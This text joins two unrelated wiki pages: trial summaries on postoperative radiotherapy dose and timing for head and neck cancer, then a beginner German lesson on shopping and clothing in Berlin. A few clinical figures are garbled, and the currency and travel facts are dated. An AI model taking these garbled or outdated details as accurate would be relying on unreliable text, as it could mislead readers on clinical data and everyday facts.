'''''Randomized:'''''
*'''Peters (M.D. Anderson), 1993''' (1983-91) -- 57.6 Gy vs 63 Gy vs 68.4 Gy
**Purpose: 1) define groups with high and low risk for recurrence, 2) determine the optimal radiotherapy dose, 3) study the dose-response relationship for normal tissue injury
**Randomized. 302 pts. (report based on 240 pts). Eligible pts: oral cavity, oropharynx, hypopharynx, larynx, or unknown primary.  Used a points system to assign pts to low or high risk.  Low-risk pts randomized between 57.6 Gy and 63 Gy. (originally randomized to 52.2-54 Gy as well, but this arm was dropped.) High-risk pts randomized between 63 Gy and 68.4 Gy.  All gross tumor had to be removed but + margins allowed. 54 Gy was given to surgically undisturbed sites with subclinical disease (i.e. contralateral neck) or putative sites of unknown primary. 57.6 Gy to dissected but pathologically negative neck. The randomized dose was given to the pathologically involved neck and primary &amp;mdash; separate randomized doses to neck and primary, but when the primary site was randomized to a higher dose, it took precedence; if neck was to receive higher dose than the primary, then neck boosted with electrons to the higher dose. 
**'''1993''' {{PMID|8482629}} &amp;mdash; &quot;Evaluation of the dose for postoperative radiation therapy of head and neck cancer: first report of a prospective randomized trial.&quot; Peters LJ et al. Int J Radiat Oncol Biol Phys. 1993 Apr 30;26(1):3-11. 
***''Disease control by dose:'' 2-year loco-regional recurrence rate of 26%. Disease-specific survival continued to decline up to about 5 years due to metastatic disease or second primary tumor. Low risk pts receiving &lt;= 54 Gy had a higher primary failure rate than those with &gt;= 57.6 Gy; no increase in control with doses above 57.6 Gy. Also, the point system they used did not accurately predict for recurrence since high and low risk pts receiving the same dose had the same LF rate. 
***''Analysis of prognostic factors:'' analyzed a subset of 199 pts who received at least 57.6 Gy. Only independent risk factor was extracapsular extension; more than 1 positive LN was of borderline significance. Also a cluster of 2 or more risk factors was associated with worse prognosis. Crude recurrence rate was 20-30% if ECE+ but only 5-13% if ECE- and fewer than 4 other risk factors. With 4 or risk factors other than ECE, did just as bad as with ECE. 
***''Dose response for high risk group:'' for pts with ECE, 2-yr control rate was 52% for 57.6 Gy vs 74% for 63 Gy. No added benefit for 68.4 Gy. 
***Conclusions: 57.6 Gy is adequate dose for post-op RT without extracapsular extension; 63 Gy for pts with ECE. 
***See list of risk factors used in this paper (separate section above).
**'''Update (2017)''' {{PMID|28721881}} -- &quot;Final Report of a Prospective Randomized Trial to Evaluate the Dose-Response Relationship for Postoperative Radiation Therapy and Pathologic Risk Groups in Patients With Head and Neck Cancer.&quot; (Rosenthal DI, Int J Radiat Oncol Biol Phys. 2017 Aug 1;98(5):1002-1011.)
***5-yr and 10-yr OS: 32% and 20%. 5-yr and 10-yr CSS: 48% and 46%. LRF in 28%. 5-yr LRC 67% (no events beyond 5 yrs). DM in 31%; 5-yr and 1-yr FDM 64% and 60%. 5-yr and 10-yr RFS 47% and 44%. Second primary cancer in 27%. 
***Tumor prognostic factors: &quot;high risk&quot; factors of SM and ECE were the only independent tumor-related risk factors predicting LRC and OS.
***Treatment-related factors: no difference in LC between dose levels 57.6 Gy and above (older dose of 54 Gy known to be suboptimal).
***Conclusion: This long-term report of PORT delivered at 1.8 Gy/d to total doses of 57.6 to 68.4 Gy without chemotherapy for head and neck squamous cell carcinoma demonstrated that increasing dose did not significantly improve tumor control. On multivariate analysis, the only significant treatment variable was TPT (treatment package time). The results confirm that positive surgical margins and/or nodal ECE remains the most significant predictive pathologic factors.

===Alternative Fractionation===
*Evidence for intensifying RT through accelerated fractionation/hyperfractionation after surgery is not strong
*Some benefit might be seen in patients who delay start of RT &gt;7 weeks, but this is on subset analysis
*Balanced against this is the fact that toxicity typically tends to be significantly higher


*'''Sklodowska-Curie Cancer Center, Poland''' (2001-2004) -- conventional RT 5-days/week vs. accelerated RT 7-days/week
**Randomized. 279 patients, high-risk SCC larynx (57%) vs. oral cavity/oropharynx (43%). High risk determined by score using tumor site, SM status, SM width, LVI, grade, number of LN+, ECE, and LN grade. Surgery + lymph node dissection. Arm 1) Conventional RT 63/35 over 7 weeks vs. Arm 2) Accelerated RT 63/35 over 5 weeks
**'''2008''' {{PMID|18342964}} -- &quot;Randomized clinical trial on 7-days-a-week postoperative radiotherapy for high-risk squamous cell head and neck cancer.&quot; (Suwinski R, Radiother Oncol. 2008 May;87(2):155-63. Epub 2008 Mar 14.)
***Outcome: 3-year LRC CF 64% vs. CAIR 70% (NS). Planned subset analysis oropharynx/oral cavity 53% vs. 74% (SS), larynx 72% vs. 67% (NS). LC 73% vs. 81% (NS); neck control 81% vs. 83% (NS). 3-year OS 52% vs. 55% (NS)
***Toxicity: Confluent mucositis CF 33% vs. CAIR 60%, but considered acceptable. Late toxicity Grade 3-4 CF 6% vs. 13%
***Conclusion: Improvement in LRC restricted to patients with oropharynx/oral cavity; no benefit in patients with larynx

*'''Italy Multi-Institutional''' (1994-2001) -- conventional 60/30 vs. accelerated concomitant boost 64/35
**Randomized. 226 patients, locally advanced oral cavity, oropharynx, larynx, or hypopharynx, with high-risk features (pT4, SM+, N2-3, PNI+, LVI+, ECE+, subglottic extension) after surgery. Arm 1) conventional RT 60/30 vs. Arm 2) accelerated RT &quot;biphasic concomitant boost&quot; during first/last week to deliver 64 Gy over 5 weeks. Primary endpoint LRC
**'''2005''' {{PMID|15708255}} -- &quot;Accelerated versus conventional fractionated postoperative radiotherapy for advanced head and neck cancer: results of a multicenter Phase III study.&quot; (Sanguineti G, Int J Radiat Oncol Biol Phys. 2005 Mar 1;61(3):762-71.) Median F/U 2.5 years
***Outcome: 2-year LRC CF 80% vs. AF 78% (NS), trend to benefit for patients with RT delay &gt;7 weeks. 2-year OS 67% vs. 64% (NS)
***Toxicity: Confluent mucositis CF 27% vs. AF 50% (SS), duration same. Late toxicity 18% vs. 27% (NS), though data preliminary
***Conclusion: Accelerated fractionation not beneficial overall, might be option for patients who delay starting RT

*'''MDACC/Mayo/Moffitt''' (1991-1995) -- risk adapted; conventional 63/35 in 7 weeks vs. accelerated 63/35 in 5 weeks
**Risk adapted, part randomized. 213 patients, oral cavity, oropharynx, larynx, hypopharynx. Risk factors ECE, &gt;1 nodal group, &gt;=2 LN+, &gt;3-cm LN, oral cavity, SM+, PNI+ (Peters 1993)
***Low risk (no risk factors): no RT
***Intermediate risk (1 risk factor, excluding ECE): conventional RT 57.6/32
***High risk (ECE or 2+ risk factors): randomized Arm 1) conventional RT 63/35 in 7 weeks vs. accelerated RT 63/35 in 5 weeks concomitant boost. Undissected neck received 54 Gy and dissected but negative neck 57.6 Gy.
**'''2001''' {{PMID|11597795}} &amp;mdash; &quot;Randomized trial addressing risk features and time factors of surgery plus radiotherapy in advanced head-and-neck cancer.&quot; (Ang KK, Int J Radiat Oncol Biol Phys. 2001 Nov 1;51(3):571-8.) Median F/U 4.9 years
***Outcome: 5-year LRC low risk patients 90% vs. intermediate risk patients 94% vs. high risk patients 68% (SS). High risk CF ~60% vs. AF ~75% (NS). 5-year OS low risk 83% vs. intermediate risk 66% vs. high risk 42%, CF ~35% vs. AF ~50% (NS)
***Treatment time: 5-year LRC &lt;11 weeks 76% vs. &gt;11 weeks 62% vs &gt;13 weeks 38% (SS); 5-year OS 48% vs. 27% v. 25% (SS). Surgery-RT interval &gt;6 weeks detrimental
***Conclusion: Risk stratification appropriate. Accelerated fractionation better for patients with delay &gt;6 weeks of starting RT, combined treatment time should be &lt;11 weeks

*'''Cairo, Egypt''' -- conventional RT 60/30 vs. accelerated RT 46.2/33 TID in 2 weeks
**Randomized. 70 patients, T2N1-2 or T3-4 any N, s/p radical surgery. Arm 1) conventional RT 60/30 vs. Arm 2) accelerated RT 46.2/33 TID over 2 weeks
**'''2002''' {{PMID|11870530}} -- &quot;Accelerated hyperfractionation (AHF) compared to conventional fractionation (CF) in the postoperative radiotherapy of locally advanced head and neck cancer: influence of proliferation.&quot; (Awwad HK, Br J Cancer. 2002 Feb 12;86(4):517-23.)
***Outcome: 3-year LRC AHF 88% vs. CF 57% (SS), 3-year OS 60% vs. 46% (NS). No benefit for T(pot) evaluation on multivariate analysis, though rapid tumors higher risk of DM. Surgery-RT gap shouldn't exceed 6 weeks
***Toxicity: acute mucositis more severe in AHF, fibrosis and late edema also worse in AHF
***Conclusion: Accelerated hyperfractionation improved local control, but without survival impact

*'''Cairo, Egypt''' -- conventional RT 50/25 vs. accelerated RT 42/30 TID in 11 days
**Randomized. 56 patients, locally advanced HNSCC, s/p radical surgery. Arm 1) conventional RT 50/25 vs. Arm 2) accelerated RT 42/30 TID over 11 days
**'''1992''' {{PMID|1480771}} -- &quot;Accelerated versus conventional fractionation in the postoperative irradiation of locally advanced head and neck cancer: influence of tumour proliferation.&quot; (Awwad HK, Radiother Oncol. 1992 Dec;25(4):261-6.)
***Outcome: 3-year DFS 46%, no difference between arms. AHF better survival in fast growing tumors (thymidine labeling index &gt;10.4%)
***Toxicity: Acute toxicity higher in AF arm, but 3-year late toxicity CF 87% vs. AF 64% (SS)
***Conclusion: No survival benefit for AF overall, but benefit in faster growing tumors

===Overall treatment time===
*Based, in part, on the fact that overall treatment time for intact head &amp; neck cancers influences outcome and the theory of accelerated repopulation. (Withers' data - Radiobiology). 
*Overall treatment time should be less than 100 days.
*RT should begin within 6 weeks of surgery


*'''University of Pennsylvania; 2002''' (1992-97) - {{PMID|11891941}} &amp;mdash; &quot;Importance of the treatment package time in surgery and postoperative radiation therapy for squamous carcinoma of the head and neck.&quot; Rosenthal DI et al. Head Neck. 2002 Feb;24(2):115-26.
**Retrospective. 208 pts. 
**Overall package time (&gt;= vs &lt; 100 days) was significant on multivariate analysis. 

*'''Rouen, France; 2001'''(1981-92) - {{PMID|11163507}} &amp;mdash; &quot;Influence of the delay of adjuvant postoperative radiation therapy on relapse and survival in oropharyngeal and hypopharyngeal cancers.&quot; Bastit L et al. Int J Radiat Oncol Biol Phys. 2001 Jan 1;49(1):139-46.
**Retospective. 420 pts. 
**Surgery to radiotherapy interval was not a significant predictor for failure.

*'''Florida; 1997''' (1964-94) - {{PMID|9300748}} &amp;mdash; &quot;An analysis of factors influencing the outcome of postoperative irradiation for squamous cell carcinoma of the oral cavity.&quot; Parsons JT et al. Int J Radiat Oncol Biol Phys. 1997 Aug 1;39(1):137-48.
**Oral cavity.
**Improved local control for the unfavorable group if overall &quot;package time&quot; (i.e. from surgery to end of radiotherapy) was within 100 days. For surgery to XRT interval (cutoff: 45-50 days), there was a nonsignificant trend. Also a trend for shorter duration of RT.

*'''Memorial Sloan Kettering; 1990''' (1975-80) - {{PMID|2325418}} &amp;mdash; &quot;Impact of the time interval between surgery and postoperative radiation therapy on locoregional control in advanced head and neck cancer.&quot; Schiff PB et al. J Surg Oncol. 1990 Apr;43(4):203-8.
**Retrospective. 111 pts. Examined time from surgery to start of RT (S-R interval).
**Of 50 pts with S-R interval of 6 weeks or more, 11 (22%) had a local recurrence. 8 of these 11 had RT dose &lt; 56 Gy. Of 17 pts with a delay of 6 weeks who had at least 60 Gy, only 2 (12%) had LR. For those who started RT within 6 weeks and had at least 60 Gy, 3/20 (15%) had a LR. The effect of delay was significant only in those who had &lt; 60 Gy.
**Conclusion: prolonged delay in starting RT does not by itself have a negative impact if doses of 60 Gy or more are given.


==Reviews==
*'''2003''' {{PMID|12560449}} - &quot;Does delay in starting treatment affect the outcomes of radiotherapy? A systematic review.&quot; Huang J et al. J Clin Oncol. 2003 Feb 1;21(3):555-63. 
**Increased LRR for starting RT &gt; 6 wks after surgery (OR = 2.89).

*'''1998''' {{PMID|9676534}} [http://caonline.amcancersoc.org/cgi/reprint/48/4/199 Full text (PDF)], 1998 &amp;mdash; &quot;Adjuvant therapy in head and neck cancer.&quot; Vikram B et al. CA Cancer J Clin. 1998 Jul-Aug;48(4):199-209.</text>
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[[Image:Gedaechtniskirche-berlin.jpg|300px|thumbnail|Gedächtniskirche auf dem Kurfürstendamm, Berlin]]
=Lesson I.7: Kleidung=
==Hello from Berlin!==
In every lesson from 7–15, there is going to be a featured German-speaking city, which will be the theme of the lesson. For 7–8, it's Berlin. There will be famous locations in Berlin; for this lesson, it's Kurfürstendamm and KaDeWe, the shopping area of Berlin. Also, in each lesson, there will be facts, so if you ever travel to a German-speaking country, it'll be like you are a native!

===Facts===
====It's Time to Change Time====
Berlin's time is GMT+1, meaning they are 6 hours ahead of EST. If it's 2:00 p.m. in New York City, it's 8:00 p.m. (or 20:00) locally. Please note that Germany changes to and from daylight-saving time a few weeks before the U.S., so time differences still vary in March and October.

====Tip, Tip, and More Tip====
In contrast to many other countries where waiters sometimes 'live on the tips,' service personnel in German-speaking countries always receive a regular wage (usually per hour), and the tip is always an extra for good service. Not to give a tip will probably give the waiter the impression that either the service or product was not that good and you are too polite to admit this, but not tipping is not considered 'rude.'

If you tip, you usually round up, up to 50 cents for coffee or up to the next 5 euros for lunch, e.g., 2.70 € becomes 3.00 € and 21 € becomes 25 €. Also, tipping is only expected when you get served, i.e., when the service personnel bring something to your table, so if you pay at a counter—like at McDonald's or Starbucks—you don't tip at all.

Only when having a large party, like celebrating your birthday in a restaurant, do you do extra tipping. For a night you should pay 30 EUR to 80 EUR per waiter and give it separately to the manager (“für die Bedienung”).

In many restaurants, it is normal that the tip is shared with the kitchen personnel. Paying with a credit card or debit card makes tipping difficult, because there is no line on the bill to fill in the tip. Always tip when paying; don't leave money on the table.

====Shopping Locations====
There are two major shopping locations. The '''''Kurfürstendamm''''' in the Old West is lined with boutiques and department stores. It continues eastwards for about 300 yards, where you can visit '''''KaDeWe''''', the biggest department store in Europe. On the newly developed '''''Friedrichstraße''''' in the Old East, the famous French store Galleries Lafayette is to be found together with a maze of underground shopping malls. Shops are generally open 9 a.m.–8 p.m. Monday through Saturday. In the outskirts, most shops close at 4 p.m. on Saturdays.

==Dialogue==
{| {{German table|Dialogue|Going Shopping|Einkaufen gehen|0|2|}}
!Sarah
|Morgen, Lisa.
|-
!Lisa
|Morgen. Wie geht's dir?
|-
!Sarah
|Gut, danke! Ich gehe zum Kurfürstendamm, möchtest du mitkommen?
|-
!Lisa
|Ja, gerne. Ich hole vorher noch Geld.
|-
!Sarah
|Ich sehe dich dann am Kurfürstendamm.
|-
!||''am Kurfürstendamm''
|-
!Sarah
|Hallo Lisa!
|-
!Lisa
|Hallo!
|-
!Sarah
|Wohin gehen wir zuerst?
|-
!Lisa
|Lass uns zu dieser Boutique gehen.
|-
!Sarah
|O.K.
|-
!||''in der Boutique''
|-
!Angestellter Thomas
|Hallo meine Damen!
|-
!Sarah und Lisa
|Guten Tag!
|-
!Angestellter Thomas
|Darf ich Ihnen helfen?
|-
!Lisa
|Ja, können Sie mir helfen, diesen Rock in meiner Größe zu finden?
|-
!Angestellter Thomas
|Natürlich.
|-
!Angestellter Thomas
|Hier ist der Rock in Ihrer Größe.
|-
!Lisa
|Danke. Wo ist die Umkleidekabine?
|-
!Angestellter Thomas
|Dort drüben.
|}

== Shopping ==
There is a lot to say about shopping, places to shop at, money and items to buy. In this lesson we will cover most of it. There are two major shopping locations in Berlin: Kurfürstendamm and KaDeWe.

{| {{German table|Vocabulary|Shopping|Einkaufen|0|2}}
!English||German
|-
|Babywear||die Babyartikel &lt;small&gt;(plural)&lt;/small&gt;    
|-
|Children's Wear||die Kinderbekleidung 
|-
|(Children) department||die (Kinder-)Abteilung
|-
|Clearance Sale||der Räumungsverkauf 
|-
|Closed||geschlossen
|-
|Clothing||die Kleidung
|-
|Computer Section||die Computerabteilung
|-
|Cosmetics||die Kosmetik &lt;small&gt;(singular)&lt;/small&gt; die Kosmetika &lt;small&gt;(plural)&lt;/small&gt;
|-
|Customer||der Kunde
|-
|Customer Service||der Kundendienst 
|-
|Electrical Appliance||das Elektrogerät
|-
|Escalator||die Rolltreppe   
|-
|Fashion||die Mode 
|-
|Furniture||das Möbelstück &lt;small&gt;(singular)&lt;/small&gt;, die Möbel &lt;small&gt;(plural)&lt;/small&gt;
|-
|Gift||der Geschenkartikel 
|-
|Good Value &lt;small&gt;(Adj.)&lt;/small&gt;||preiswert
|-
|Groceries||die Lebensmittel &lt;small&gt;(plural)&lt;/small&gt;
|-
|Jewellery||der Schmuck &lt;small&gt;(no plural)&lt;/small&gt;
|-
|Lady's Shoes||die Damenschuhe &lt;small&gt;(plural)&lt;/small&gt; 
|-
|Leather Goods||die Lederwaren &lt;small&gt;(plural)&lt;/small&gt; 
|-
|Open||geöffnet 
|-
|Opening Hours||die Öffnungszeiten &lt;small&gt;(plural)&lt;/small&gt; 
|-
|Present||das Geschenk
|-
|Reduced||reduziert
|-
|price cut||die Preissenkung
|-
|Sales Receipt||der Kassenbon, der Kassenzettel, die Quittung
|-
|Souvenir||das Andenken 
|-
|Special Offer||das Sonderangebot 
|-
|Sporting Goods||die Sportartikel &lt;small&gt;(plural)&lt;/small&gt;
|-
|Stationery||die Schreibwaren &lt;small&gt;(plural)&lt;/small&gt;
|-
|Summer Sale||der Sommerschlussverkauf &lt;small&gt;(abbr. SSV)&lt;/small&gt;  
|-
|Video Store||die Videothek 
|-
|Winter Sale||der Winterschlussverkauf &lt;small&gt;(abbr. WSV)&lt;/small&gt; 
|} 

===Kurfürstendamm===
*'''Kurfürstendamm'''

:''Tauentzienstraße''

:''Fasanenstraße''

The Kurfürstendamm has many boutiques, department stores, etc., which are on Tauentzienstraße and Fasanenstraße, two streets in Kurfürstendamm. Tauentzienstraße has a lot of the department stores, including KaDeWe, which we will get into greater detail later. Fasanenstraße has a lot of the boutiques. &lt;!-- &quot;Kurfürstendamm&quot; is a street, as Tauentzienstraße and Fasanenstraße, so these two couldn't be &quot;in&quot; Kurfürstendamm, they are close together. --&gt;

{| {{German table|Vocabulary|A Shopping Street in Berlin|Kurfürstendamm (Ku'damm)|0|2}}
!English||German
|- 
|Department Store||das Kaufhaus (old fashioned &quot;das Warenhaus&quot;)
|-
|Retail Store||das Einzelhandelsgeschäft
|-
|The Mall||das Einkaufszentrum
|-
|Boutique||die Boutique
|-
|Store||das Geschäft
|}

And some of the things you might say or ask while in a clothing store...

*''Können Sie mir helfen, meine Größe zu finden (für dieses ____)?''
:Can you help me find my size (for this ____)?

*''Wo ist die Umkleidekabine?''
:Where is the dressing room?


{| {{German table|Vocabulary|A Shopping Street in Berlin|Kurfürstendamm (Ku'damm)|0|2}}
!English||German
|- 
|Manager||der Manager
|-
|Employee||der/die Angestellte
|-
|Sales Clerk||der Verkäufer
|-               
|Cashier||der Kassierer
|-
|Dressing Room||die Umkleidekabine
|-
|Men's Section||die Männerabteilung
|-
|Women's Section||die Frauenabteilung
|}

&lt;big&gt;[[/Problems#Kurf.C3.BCrstendamm|Section Problems]] &gt;&gt;&lt;/big&gt;

===KaDeWe===
Another shopping location is das KaDeWe, an upscale department store in Germany. It has six floors, and is also called &quot;the department store of the west&quot; (Kaufhaus des Westens), because it is the largest and most magnificent department store on continental Europe.

{|{{German table|Vocabulary|A Department Store in Berlin|Kaufhaus des Westens (KaDeWe)|0|2}}
!English||German
|- 
!First Floor||Erstes Stockwerk
|-
|Menswear||Männerkleidung
|-
!Second Floor||Zweiter Stock
|-
|Womenswear||Frauenkleidung
|-
!Third Floor||Dritter Stock
|-
|Kids Section||Kinderabteilung
|-
!Fourth Floor||Vierter Stock
|-
|Electronics||Elektronik
|-
|Kitchenware||Küchenbedarf
|-
!Fifth Floor||Fünfter Stock
|-
|Lighting||Beleuchtung           
|-
|Bedding||Bettwäsche
|-
|Toys||Spielwaren
|-
!Sixth Floor||Sechster Stock
|-
|Food||Lebensmittel
|}
Since we already have most of the general shopping phrases and vocabulary down, we are going to get into more detail in the next few sections.

&lt;big&gt;[[/Problems#KaDeWe|Section Problems]]&gt;&gt;&lt;/big&gt;

====Electronics====
First is electronics: it might seem a little sparse, but electronics and many other things will be featured in Lesson 12.

{|{{German table|Vocabulary|A Department Store in Berlin|Kaufhaus des Westens (KaDeWe)|0|2}}
!English||German
|- 
|Electronics||die Elektronik
|-           
|Television||das Fernsehen/der Fernseher, die Fernseher (plural)
|-
|Digital Camera||die Digitalkamera, die Digitalkameras (plural)
|-
|Telephone||das Telefon, die Telefone (plural)
|-
|Cell phone||das Mobiltelefon/das Handy (pronounced &quot;Hendee&quot;), die Mobiltelefone/Handys (plural)
|-
|Computer||der Computer/der Rechner, die Computer/Rechner (plural)
|-
|Speaker, Speakers||der Lautsprecher, die Lautsprecher (plural)
|-
|DVDs||die DVDs (singular: die DVD)
|-
|CDs||die CDs (singular: die CD)
|-
|DVD Player||der DVD-Player
|-
|CD Player||der CD-Player
|}

''Spielt der DVD-Player auch CDs?''
:Does the DVD player also play CDs?

''Hat das Mobiltelefon/das Handy eine Digitalkamera?''
:Does the cell phone have a digital camera?

If you look at the word order of this sentence, you will see that you've already learned everything you need to make these sentences, and you, yourself can customize these sentences if you want.

&lt;big&gt;[[/Problems#Electronics|Section Problems]]&gt;&gt;&lt;/big&gt;

====Bedding====
The bedding section is also quite bare, but that is because it will be discussed further in Lesson 12. 

{|{{German table|Vocabulary|A Department Store in Berlin|Kaufhaus des Westens (KaDeWe)|0|2}}
!English||German
|- 
|Bedding||die Bettwäsche
|-           
|Blanket||die Decke, die Decken
|-
|Pillow||das Kopfkissen/das/der Polster (Austrian German), die Kopfkissen/Polster
|-
|Pillow Case||der Kopfkissenbezug, die Kopfkissenbezüge
|-
|Sheet||das Betttuch, die Betttücher
|-
|Bed Skirt||der Bett-Rock
|}

And like always here are some of the things you might say that are related to bedding.

*''Passen die Kopfkissenbezüge auf das Kopfkissen?''
:Does the pillow case fit the pillow?

And with that question there are other variations of it you can ask, like... 

*''Passt die Decke auf das Bett?''
:Does the blanket fit the bed?

&lt;big&gt;[[/Problems#Bedding|Section Problems]]&gt;&gt;&lt;/big&gt;

==Money==
Germany, Austria, Luxemburg, Belgium and Südtirol – in other words: all German speaking regions except Switzerland and Liechtenstein– have given up their former currencies and adopted the Euro as of 1999. Because they are not members of the European Union, Switzerland and Liechtenstein have kept the Swiss Francs. Currently 1 EUR is 1.34 USD.

Now if you were at a shopping center in German like Kurfürstendamm, and you were shopping at a boutique here is some vocabulary you might want to know.

*''Was macht das?''
''Was kostet das?''
:How much does it cost?

*''Das Hemd kostet 120 Euro.''
:The shirt costs 120 euros.

*''Das kostet 690 Euro.''
:That costs 690 euros (all together).

{| {{German table|Vocabulary|Money|Geld|0|2}}
!English||German
|- 
|Price||der Preis
|-
|Note||der Schein
|-
|Coin||die Münze
|-
|1 Euro coin||das Eurostück, das Ein-Euro-Stück
|-
|2 Euro coin||das Zweieurostück
|-
|5 Euro note||der Fünfeuroschein
|-
|10 Euro note||der Zehneuroschein
|-
|100 Euro note||der Hunderteuroschein
|}

'''Note:''' The word coin (Münze) mostly turns to Stück when a word or number is put together with it.

Even though in the vocabulary we list the 1, 2, 5, 10, 100 Euro there are more Euro notes. The twenty, fifty, two hundred, and five hundred Euro notes are the ones we didn't list, also there are cent coins.

{| {{German table|Vocabulary|Money|Geld|0|2}}
!English||German
|- 
|1 Cent Coin||das Centstück
|-
|2 Cent Coin||das Zweicentstück
|-
|5 Cent Coin||das Fünfcentstück
|-
|10 Cent Coin||das Zehncentstück
|-
|20 Cent Coin||das Zwanzigcentstück
|-
|50 Cent Coin||das Fünfzigcentstück
|}

===German Math===
In written German, a comma is used (e.g., in prices) where we would put a decimal point in English. Thus, € 5,49 (or 5,49 €) means ''five euros and forty-nine cents''. When a price ends in a round number of euros, it is most commonly written as € 5,- etc. The reverse is also true. Where as English uses a comma to split up large numbers, German uses a dot. So &quot;€ 6.945&quot; means '''''sechs tausend neunhundertfünfundvierzig''''' (six thousand nine hundred and forty-five) euros - not ''six point nine four five euros.''

== Clothing ==
{| {{German table|Vocabulary|Clothes|Kleidung|0|2}}
|-
!English||German
|-
|Skirt||der Rock, die Röcke (plural)
|-
|Pullover||der Pullover, die Pullover
|-
|Sweatshirt||das Sweatshirt, die Sweatshirts
|-
|Scarf||der Schal, die Schale/Schals
|-
|Jacket||die Jacke, die Jacken
|-
|Coat||der Mantel, die Mäntel
|-
|Shirt||das Hemd, die Hemden
|-
|T-shirt||das T-Shirt, die T-Shirts
|-
|Sweater||der Sweater, die Sweater
|-
|(Neck)tie||die Krawatte, die Krawatten
|-
|Bowtie||die Fliege, die Fliegen
|-
|Suit||der Anzug, die Anzüge
|-
|Pants||die Hose, die Hosen (note: &quot;die Hose IST&quot;=&quot;the (pair of) pants ARE&quot;)
|-
|Underpants||die Unterhose, die Unterhosen
|-
|Boxershorts||die Boxershorts &lt;small&gt;(plural)&lt;/small&gt;
|-
|Top||das Top
|-
|Bra||der Büstenhalter/der Busenhalter (abbr. BH), die Büstenhalter/Busenhalter
|-
|Swimming costume||der Badeanzug, die Badeanzüge
|-
|Trunks||die Badehose, die Badehosen
|-
|Hat||der Hut, die Hüte
|-
|Shoe||der Schuh, die Schuhe
|-
|Sock||die Socke, die Socken
|-
|Stocking||der Strumpf, die Strümpfe
|-
|Tights/Pantyhose||die Strumpfhose, die Strumpfhosen
|-
|Glove||der Handschuh, die Handschuhe
|-
|Blouse||die Bluse, die Blusen
|-
|Cap||die Mütze, die Mützen
|-
|Woollen hat||die Wollmütze, die Wollmützen
|}


{| {{German table|Vocabulary|Clothes|Kleidung|0|2}}
|-
!English||German
|-
|Size||die Größe, die Größen
|-
|Color||die Farbe, die Farben
|-
|Cotton||die Baumwolle
|-
|Leather||das Leder
|-
|Rayon||die Kunstseide
|} 


{| {{German table|Vocabulary|Sizes|Die Größen|0|2}}
|-
!English||German
|-
|Small||klein (abbr. S)
|-
|Medium||mittel (abbr. M)
|-
|Large||groß (abbr. L)
|-
|Extra-Large||extragroß (abbr. XL)
|}

&lt;big&gt;[[/Problems#Clothing|Section Answers]] &gt;&gt;&lt;/big&gt;

===Describing Clothes===

Here are some of the words you can use when you are describing clothes:

{| {{German table|Vocabulary|Adjectives for Clothes|Adjektive für Kleidung|0|2}}
|-
!English||German
|-
|Cheap||günstig, billig
|-
|Expensive||teuer
|-
|Pretty||schön
|-
|Ugly||hässlich
|-
|Soft||weich
|-
|New||neu
|-
|Broad||breit
|-
|Wide||weit
|-
|Tight||eng
|-
|Comfortable||bequem
|-
|Uncomfortable||unbequem
|}

For clothing, to say &quot;I like something&quot; or not, it's... 
* I like it! — ''Er/Sie/Es gefällt mir!''
* I don't like it! — ''Er/Sie/Es gefällt mir nicht!''

Now, if you find and try on a fairly expensive soft shirt with a tight fit, you could say...
* '''In English:''' ''The shirt looks great! The shirt feels soft, fits tight. The shirt is very comfortable. How much does it cost? Oh no! The shirt is expensive! 55 euros is a little too much for me.''
* '''In German:''' ''Das Hemd sieht prima aus! Das Hemd fühlt sich weich an, es sitzt eng. Das Hemd ist sehr bequem. Wieviel kostet es? Oh nein! Das Hemd ist teuer! 55 Euro sind mir ein bisschen zuviel.''

The phrases to describe the shirt were...
* The shirt looks great. — ''Das Hemd '''sieht''' prima '''aus.'''''
* The shirt feels soft. — ''Das Hemd '''fühlt''' sich weich '''an'''.''
* The shirt fits tight. — ''Das Hemd '''sitzt''' eng.''
The bold words are verbs that are one part in describing how the shirt is. The other half of describing it is the adjectives like soft, tight, great, etc. As you can see, the verb &quot;looks&quot; is separable, but we will get into that later.

=== Clothing-Related Verbs ===
Here are some of said verbs; some are ''separable-prefix verbs'', like aussehen, anprobieren, and anhaben. But we will study those in more detail later. Also, we will learn about &quot;''tragen''.&quot;

{| {{German table|Vocabulary|Verbs Related to Clothes|Verben im Zusammenhang mit Kleidung|0|2}}
|-
!English||German
|-
|to look||aussehen
|-
|to please||gefallen
|-
|he looks||er sieht aus
|-
|to try on||anprobieren
|-
|he tries on||er probiert an
|-
|to put on||anziehen
|-
|he puts on||er zieht an
|-
|to take||nehmen
|-
|to buy||kaufen
|-
|to have on/wear||anhaben, tragen
|-
|he has on/wears||er hat an
|}

==Separable Prefix Verbs==
Many German verbs change their meaning by adding prefixes, which are often prepositions such as '''ab-, an-, auf-, aus-, bei-, ein-, mit-, vor-,''' or '''zu-'''. The verbs ''anhaben'' (to wear) and ''aussehen'' (to look) are both verbs with '''separable''' ('''''trennbar''''') prefixes. That is, when used next to the subject pronoun, the prefix is separated from the verb and put at the end of the sentence or clause; better put, in the present tense and imperative, the prefix is separated from the infinitive stem.   

Examples:
* ''&quot;Ich habe einen Mantel an.&quot;'' (&quot;I'm wearing a coat.&quot; Or, more literally translated, &quot;I have a coat on.&quot;)
* ''&quot;Was hast du an?&quot;'' (&quot;What are you wearing?&quot; or &quot;What do you have on?&quot;)

However, when the separable-prefix verb is put at the end of the sentence, such as when used with  a modal verb, the verb in question and its prefix are not separated.

Examples: 
* ''&quot;Du willst einen Mantel anhaben.&quot;'' (&quot;You want to wear a coat.&quot;)
* ''&quot;Willst du eine Bluse anhaben?&quot;'' (&quot;Do you want to wear a blouse?&quot;)

&lt;big&gt;[[/Problems#Separable Prefix Verbs|Section Problems]] &gt;&gt;&lt;/big&gt;

==Tragen==
Instead of ''&quot;anhaben&quot;'' the verb ''&quot;tragen&quot;'' is often used. The sentences from above would then be:

''&quot;Ich trage einen Mantel.&quot;'' (&quot;I'm wearing a coat.&quot; )&lt;br&gt;
''&quot;Was trägst du?&quot;'' (&quot;What are you wearing?&quot;)&lt;br&gt;
''&quot;Du willst einen Mantel tragen.&quot;'' (&quot;You want to wear a coat.&quot;)&lt;br&gt;
''&quot;Willst du eine Bluse tragen?&quot;'' (&quot;Do you want to wear a blouse?&quot;)

The verb ''&quot;tragen&quot;'' has two meanings: &quot;to wear&quot; and &quot;to carry&quot;. Thus, if someone says ''&quot;Ich trage Schuhe,&quot;'' only the context will tell you whether the person is carrying the shoes in his hands or actually wearing them. Tragen is a different kind of irregular verb—one that not only changes at the end of the word, but also changes internally. Notice that the vowel in tragen's 2nd and 3rd person forms changes from an '''a''' into an '''ä'''. Other verbs with similar conjugation patterns include '''fahren, graben, schaffen,''' and '''waschen.'''

